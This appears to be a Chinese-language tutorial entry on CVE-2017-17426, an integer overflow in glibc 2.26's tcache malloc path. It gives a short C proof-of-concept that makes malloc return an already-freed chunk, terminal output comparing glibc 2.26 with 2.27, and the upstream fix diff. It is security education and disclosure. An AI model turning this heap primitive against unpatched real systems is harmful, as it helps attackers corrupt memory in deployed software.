• 影响范围:glibc2.26

glibc-2.26 中的 tcache 机制被发现了安全漏洞。由于 __libc_malloc() 使用 request2size() 来将请求大小转换为实际块大小,该函数不会进行整数溢出检查。所以如果请求一个非常大的堆块(接近 SIZE_MAX),那么就会导致整数溢出,从而导致 malloc 错误地返回 tcache bin 里的堆块。

下面演示了该漏洞的使用:

#include <stdio.h>
#include <stdlib.h>
 
int main() {
	void *x = malloc(10);
	printf("malloc(10): %p\\n", x);
	free(x);
 
	void *y = malloc(((size_t)~0) - 2);	// overflow allocation (size_t.max-2)
	printf("malloc(((size_t)~0) - 2): %p\\n", y);
}

第一次申请一块大小为 10 的 chunk,接下来再申请一块超大 chunk,因为申请 tcache 是在最前面的操作,因此就会出现漏洞。

root@3b813fd9a10d:/ctf/work# gcc cve-2017-17426.c 
cve-2017-17426.c: In function ‘main’:
cve-2017-17426.c:9:12: warning: argument 1 value ‘18446744073709551613’ exceeds maximum 

root@3b813fd9a10d:/ctf/work# /glibc/2.26/64/lib/ld-2.26.so ./a.out 
malloc(10): 0x555555d38260
malloc(((size_t)~0) - 2): 0x555555d38260

root@3b813fd9a10d:/ctf/work# /glibc/2.27/64/lib/ld-2.27.so ./a.out 
malloc(10): 0x555556828260
malloc(((size_t)~0) - 2): (nil)

修复方法是用 checked_request2size() 函数替换 request2size() 函数,该函数实现了对整数溢出的检查。

$ git show 34697694 malloc/malloc.c
commit 34697694e8a93b325b18f25f7dcded55d6baeaf6
Author: Arjun Shankar <[email protected]>
Date:   Thu Nov 30 13:31:45 2017 +0100
 
    Fix integer overflow in malloc when tcache is enabled [BZ #22375]
 
    When the per-thread cache is enabled, __libc_malloc uses request2size (which
    does not perform an overflow check) to calculate the chunk size from the
    requested allocation size. This leads to an integer overflow causing malloc
    to incorrectly return the last successfully allocated block when called with
    a very large size argument (close to SIZE_MAX).
 
    This commit uses checked_request2size instead, removing the overflow.
 
diff --git a/malloc/malloc.c b/malloc/malloc.c
index 79f0e9eac7..0c9e0748b4 100644
--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -3031,7 +3031,8 @@ __libc_malloc (size_t bytes)
     return (*hook)(bytes, RETURN_ADDRESS (0));
 #if USE_TCACHE
   /* int_free also calls request2size, be careful to not pad twice.  */
-  size_t tbytes = request2size (bytes);
+  size_t tbytes;
**+  checked_request2size (bytes, tbytes);**
   size_t tc_idx = csize2tidx (tbytes);
 
   MAYBE_INIT_TCACHE ();